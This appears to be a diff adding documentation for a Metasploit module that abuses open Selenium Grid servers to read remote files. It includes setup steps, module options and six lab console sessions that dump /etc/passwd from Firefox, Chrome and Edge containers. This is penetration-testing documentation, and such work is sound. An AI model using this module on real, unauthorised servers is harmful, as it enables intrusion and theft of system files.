|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +If there is an open selenium web driver, a remote attacker can send requests to the victims browser. |
| 4 | +In certain cases this can be used to access to the remote file system. |
| 5 | + |
| 6 | +The vulnerability affects: |
| 7 | + |
| 8 | + * all version of open Selenium Server (Grid) |
| 9 | + |
| 10 | +This module was successfully tested on: |
| 11 | + |
| 12 | + * selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04 |
| 13 | + * selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04 |
| 14 | + * selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04 |
| 15 | + * selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04 |
| 16 | + * selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04 |
| 17 | + * selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04 |
| 18 | + |
| 19 | + |
| 20 | +### Installation |
| 21 | + |
| 22 | +1. `docker pull selenium/standalone-firefox:3.141.59` |
| 23 | + |
| 24 | +2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-firefox:3.141.59` |
| 25 | + |
| 26 | + |
| 27 | +## Verification Steps |
| 28 | + |
| 29 | +1. Install the application |
| 30 | +2. Start msfconsole |
| 31 | +3. Do: `use auxiliary/gather/selenium_file_read` |
| 32 | +4. Do: `run rhost=<rhost>` |
| 33 | +5. You should get a file content |
| 34 | + |
| 35 | + |
| 36 | +## Options |
| 37 | + |
| 38 | +### SCHEME (Required) |
| 39 | + |
| 40 | +This is the scheme to use. Default is `file`. |
| 41 | + |
| 42 | +### FILEPATH (Required) |
| 43 | + |
| 44 | +This is the file to read. Default is `/etc/passwd`. |
| 45 | + |
| 46 | +### BROWSER (Required) |
| 47 | + |
| 48 | +This is the browser to use. Default is `firefox`. |
| 49 | + |
| 50 | + |
| 51 | +## Scenarios |
| 52 | +### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04 |
| 53 | +``` |
| 54 | +msf6 > use auxiliary/gather/selenium_file_read |
| 55 | +msf6 auxiliary(gather/selenium_file_read) > options |
| 56 | +
|
| 57 | +Module options (auxiliary/gather/selenium_file_read): |
| 58 | +
|
| 59 | + Name Current Setting Required Description |
| 60 | + ---- --------------- -------- ----------- |
| 61 | + BROWSER firefox yes The browser to use (Accepted: firefox, chrome, MicrosoftEdge) |
| 62 | + FILEPATH /etc/passwd yes File to read |
| 63 | + Proxies no A proxy chain of format type:host:port[,type:host:port][...] |
| 64 | + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| 65 | + RPORT 4444 yes The target port (TCP) |
| 66 | + SCHEME file yes The scheme to use |
| 67 | + SSL false no Negotiate SSL/TLS for outgoing connections |
| 68 | + VHOST no HTTP server virtual host |
| 69 | +
|
| 70 | +
|
| 71 | +View the full module info with the info, or info -d command. |
| 72 | +
|
| 73 | +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4445 |
| 74 | +[*] Running module against 192.168.56.16 |
| 75 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 76 | +[+] The target appears to be vulnerable. Version 3.141.59 detected |
| 77 | +[+] /etc/passwd |
| 78 | +root:x:0:0:root:/root:/bin/bash |
| 79 | +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| 80 | +bin:x:2:2:bin:/bin:/usr/sbin/nologin |
| 81 | +sys:x:3:3:sys:/dev:/usr/sbin/nologin |
| 82 | +sync:x:4:65534:sync:/bin:/bin/sync |
| 83 | +games:x:5:60:games:/usr/games:/usr/sbin/nologin |
| 84 | +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin |
| 85 | +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin |
| 86 | +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin |
| 87 | +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin |
| 88 | +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin |
| 89 | +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin |
| 90 | +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin |
| 91 | +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin |
| 92 | +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin |
| 93 | +irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin |
| 94 | +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin |
| 95 | +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin |
| 96 | +_apt:x:100:65534::/nonexistent:/usr/sbin/nologin |
| 97 | +seluser:x:1200:1201::/home/seluser:/bin/bash |
| 98 | +systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin |
| 99 | +systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin |
| 100 | +systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin |
| 101 | +messagebus:x:104:105::/nonexistent:/usr/sbin/nologin |
| 102 | +rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin |
| 103 | +pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin |
| 104 | +
|
| 105 | +[*] Auxiliary module execution completed |
| 106 | +``` |
| 107 | + |
| 108 | +### selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04 |
| 109 | +``` |
| 110 | +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4446 |
| 111 | +[*] Running module against 192.168.56.16 |
| 112 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 113 | +[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready. |
| 114 | +[+] /etc/passwd |
| 115 | +root:x:0:0:root:/root:/bin/bash |
| 116 | +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| 117 | +bin:x:2:2:bin:/bin:/usr/sbin/nologin |
| 118 | +sys:x:3:3:sys:/dev:/usr/sbin/nologin |
| 119 | +sync:x:4:65534:sync:/bin:/bin/sync |
| 120 | +games:x:5:60:games:/usr/games:/usr/sbin/nologin |
| 121 | +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin |
| 122 | +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin |
| 123 | +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin |
| 124 | +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin |
| 125 | +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin |
| 126 | +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin |
| 127 | +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin |
| 128 | +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin |
| 129 | +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin |
| 130 | +irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin |
| 131 | +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin |
| 132 | +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin |
| 133 | +_apt:x:100:65534::/nonexistent:/usr/sbin/nologin |
| 134 | +seluser:x:1200:1201::/home/seluser:/bin/bash |
| 135 | +systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin |
| 136 | +systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin |
| 137 | +messagebus:x:103:104::/nonexistent:/usr/sbin/nologin |
| 138 | +rtkit:x:104:105:RealtimeKit,,,:/proc:/usr/sbin/nologin |
| 139 | +pulse:x:105:106:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin |
| 140 | +
|
| 141 | +[*] Auxiliary module execution completed |
| 142 | +``` |
| 143 | + |
| 144 | +### selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04 |
| 145 | +``` |
| 146 | +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4447 |
| 147 | +[*] Running module against 192.168.56.16 |
| 148 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 149 | +[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready. |
| 150 | +[+] /etc/passwd |
| 151 | +root:x:0:0:root:/root:/bin/bash |
| 152 | +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| 153 | +bin:x:2:2:bin:/bin:/usr/sbin/nologin |
| 154 | +sys:x:3:3:sys:/dev:/usr/sbin/nologin |
| 155 | +sync:x:4:65534:sync:/bin:/bin/sync |
| 156 | +games:x:5:60:games:/usr/games:/usr/sbin/nologin |
| 157 | +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin |
| 158 | +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin |
| 159 | +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin |
| 160 | +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin |
| 161 | +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin |
| 162 | +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin |
| 163 | +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin |
| 164 | +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin |
| 165 | +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin |
| 166 | +irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin |
| 167 | +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin |
| 168 | +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin |
| 169 | +_apt:x:100:65534::/nonexistent:/usr/sbin/nologin |
| 170 | +seluser:x:1200:1201::/home/seluser:/bin/bash |
| 171 | +systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin |
| 172 | +systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin |
| 173 | +systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin |
| 174 | +messagebus:x:104:105::/nonexistent:/usr/sbin/nologin |
| 175 | +rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin |
| 176 | +pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin |
| 177 | +
|
| 178 | +[*] Auxiliary module execution completed |
| 179 | +``` |
| 180 | + |
| 181 | +### selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04 |
| 182 | +``` |
| 183 | +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4448 |
| 184 | +[*] Running module against 192.168.56.16 |
| 185 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 186 | +[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready. |
| 187 | +[+] /etc/passwd |
| 188 | +root:x:0:0:root:/root:/bin/bash |
| 189 | +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| 190 | +bin:x:2:2:bin:/bin:/usr/sbin/nologin |
| 191 | +sys:x:3:3:sys:/dev:/usr/sbin/nologin |
| 192 | +sync:x:4:65534:sync:/bin:/bin/sync |
| 193 | +games:x:5:60:games:/usr/games:/usr/sbin/nologin |
| 194 | +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin |
| 195 | +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin |
| 196 | +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin |
| 197 | +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin |
| 198 | +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin |
| 199 | +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin |
| 200 | +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin |
| 201 | +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin |
| 202 | +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin |
| 203 | +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin |
| 204 | +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin |
| 205 | +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin |
| 206 | +ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash |
| 207 | +seluser:x:1200:1201::/home/seluser:/bin/bash |
| 208 | +systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin |
| 209 | +messagebus:x:100:101::/nonexistent:/usr/sbin/nologin |
| 210 | +pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin |
| 211 | +
|
| 212 | +[*] Auxiliary module execution completed |
| 213 | +``` |
| 214 | + |
| 215 | +### selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04 |
| 216 | +``` |
| 217 | +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4449 browser=chrome |
| 218 | +[*] Running module against 192.168.56.16 |
| 219 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 220 | +[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready. |
| 221 | +[+] /etc/passwd |
| 222 | +root:x:0:0:root:/root:/bin/bash |
| 223 | +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| 224 | +bin:x:2:2:bin:/bin:/usr/sbin/nologin |
| 225 | +sys:x:3:3:sys:/dev:/usr/sbin/nologin |
| 226 | +sync:x:4:65534:sync:/bin:/bin/sync |
| 227 | +games:x:5:60:games:/usr/games:/usr/sbin/nologin |
| 228 | +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin |
| 229 | +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin |
| 230 | +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin |
| 231 | +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin |
| 232 | +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin |
| 233 | +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin |
| 234 | +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin |
| 235 | +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin |
| 236 | +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin |
| 237 | +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin |
| 238 | +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin |
| 239 | +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin |
| 240 | +ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash |
| 241 | +seluser:x:1200:1201::/home/seluser:/bin/bash |
| 242 | +systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin |
| 243 | +messagebus:x:100:101::/nonexistent:/usr/sbin/nologin |
| 244 | +pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin |
| 245 | +
|
| 246 | +[*] Auxiliary module execution completed |
| 247 | +``` |
| 248 | + |
| 249 | +### selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04 |
| 250 | +``` |
| 251 | +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4450 browser=MicrosoftEdge |
| 252 | +[*] Running module against 192.168.56.16 |
| 253 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 254 | +[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready. |
| 255 | +[+] /etc/passwd |
| 256 | +root:x:0:0:root:/root:/bin/bash |
| 257 | +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| 258 | +bin:x:2:2:bin:/bin:/usr/sbin/nologin |
| 259 | +sys:x:3:3:sys:/dev:/usr/sbin/nologin |
| 260 | +sync:x:4:65534:sync:/bin:/bin/sync |
| 261 | +games:x:5:60:games:/usr/games:/usr/sbin/nologin |
| 262 | +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin |
| 263 | +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin |
| 264 | +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin |
| 265 | +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin |
| 266 | +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin |
| 267 | +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin |
| 268 | +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin |
| 269 | +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin |
| 270 | +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin |
| 271 | +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin |
| 272 | +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin |
| 273 | +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin |
| 274 | +ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash |
| 275 | +seluser:x:1200:1201::/home/seluser:/bin/bash |
| 276 | +systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin |
| 277 | +messagebus:x:100:101::/nonexistent:/usr/sbin/nologin |
| 278 | +pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin |
| 279 | +
|
| 280 | +[*] Auxiliary module execution completed |
| 281 | +``` |
0 commit comments